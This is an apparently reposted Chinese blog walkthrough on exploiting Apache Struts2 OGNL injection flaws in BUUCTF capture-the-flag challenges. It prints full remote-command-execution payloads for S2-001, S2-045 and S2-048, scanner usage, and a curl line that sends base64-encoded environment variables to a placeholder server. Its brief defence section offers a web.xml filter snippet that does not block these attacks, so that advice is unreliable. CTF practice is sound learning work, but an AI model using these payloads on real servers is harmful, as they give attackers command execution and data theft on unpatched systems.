BUUCTF平台实战:手把手教你利用Struts2漏洞获取flag(附工具推荐)
BUUCTF平台实战从Struts2漏洞入门到flag获取全指南第一次接触CTF比赛时看到那些复杂的漏洞利用过程总让人望而生畏。直到在BUUCTF平台上遇到了Struts2系列漏洞才发现原来漏洞利用也可以如此标准化。本文将带你从零开始用最直观的方式理解Struts2漏洞的利用逻辑并分享几个我在实战中总结的高效技巧。1. 环境准备与工具配置工欲善其事必先利其器。在开始漏洞利用前需要准备以下环境虚拟机环境推荐使用VirtualBox搭配Kali Linux避免对主机系统造成意外影响网络配置确保能访问BUUCTF平台http://buuoj.cn必要工具Struts2-ScanGitHub开源项目Burp Suite Community版Chrome浏览器Postman插件工具配置关键步骤git clone https://github.com/HatBoy/Struts2-Scan.git cd Struts2-Scan pip install -r requirements.txt注意所有操作建议在隔离的虚拟环境中进行避免与本地Python环境冲突我曾遇到过工具运行报错的问题后来发现是Python库版本不兼容。如果遇到类似情况可以尝试pip install --upgrade urllib3 requests2. Struts2漏洞原理速成Struts2漏洞主要源于OGNL表达式注入。简单理解就是攻击者能够通过精心构造的输入让服务器执行非预期的OGNL代码。常见漏洞版本及其特征漏洞编号影响版本利用方式典型特征S2-001Struts 2.0-2.0.8表单验证绕过%{...}语法S2-005Struts 2.0.0-2.1.8.1参数值注入\u0023代替#S2-007Struts 2.0.0-2.2.3类型转换错误利用 payload S2-045Struts 2.3.5-2.3.31文件上传漏洞Content-Type注入理解漏洞本质所有Struts2漏洞利用的核心都是通过某种方式让#_memberAccess.allowStaticMethodAccess变为true从而获得执行系统命令的权限。3. 实战演练从S2-001到S2-0573.1 S2-001漏洞利用四步法识别漏洞点查找使用表单验证的页面构造payload%{ #a(new java.lang.ProcessBuilder(new java.lang.String[]{env})).start(), #b#a.getInputStream(), #cnew java.io.InputStreamReader(#b), #dnew java.io.BufferedReader(#c), #enew char[50000], #d.read(#e), #f#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse), #f.getWriter().println(new java.lang.String(#e)) }发送请求通过Burp Repeater模块修改请求参数提取flag在响应中搜索flag{格式的字符串实战技巧如果env命令无效可以尝试ls /查看目录结构有时flag会存放在特定文件中3.2 自动化工具高效利用对于S2-005、S2-008等漏洞使用Struts2-Scan可以大幅提高效率python Struts2Scan.py -u http://target.com/login.action -n s2-005工具运行后会生成可用payload复制到Burp Suite中发送即可。我整理了几个常见问题解决方法乱码问题在Burp的Decoder模块中对payload进行URL编码无回显情况尝试使用DNS外带技术Runtime.getRuntime().exec(curl http://your-server/?data$(env|base64))工具误报手动验证时添加id等简单命令测试4. 疑难漏洞突破技巧4.1 S2-045文件上传漏洞这个漏洞的特殊之处在于利用HTTP头部的Content-Type字段注入POST /upload.action HTTP/1.1 Content-Type: %{(#_multipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdenv).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())}4.2 S2-048插件漏洞这个漏洞需要先找到插件入口通常URL路径包含/integration/或/showcase。成功访问后在输入框注入%{ (#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS). (#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]). (#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)). (#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))). (#qorg.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(ls /).getInputStream())) }5. 防御视角与学习建议理解攻击手段是为了更好地防御。在实战中我总结了几个关键点漏洞识别检查Struts2版本号关注官方安全公告临时缓解在web.xml中添加过滤器拦截恶意请求filter filter-namestruts2/filter-name filter-classorg.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter/filter-class init-param param-nameexcludePatterns/param-name param-value.*\.(gif|png|jpg|css|js)$/param-value /init-param /filter长期防护及时升级到最新安全版本对于想深入学习的朋友推荐按照这个路线图进阶先在BUUCTF上完成所有Struts2漏洞挑战阅读CVE详细报告如CVE-2017-5638尝试编写简单的OGNL表达式检测工具研究WAF如何拦截Struts2攻击流量
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2506782.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!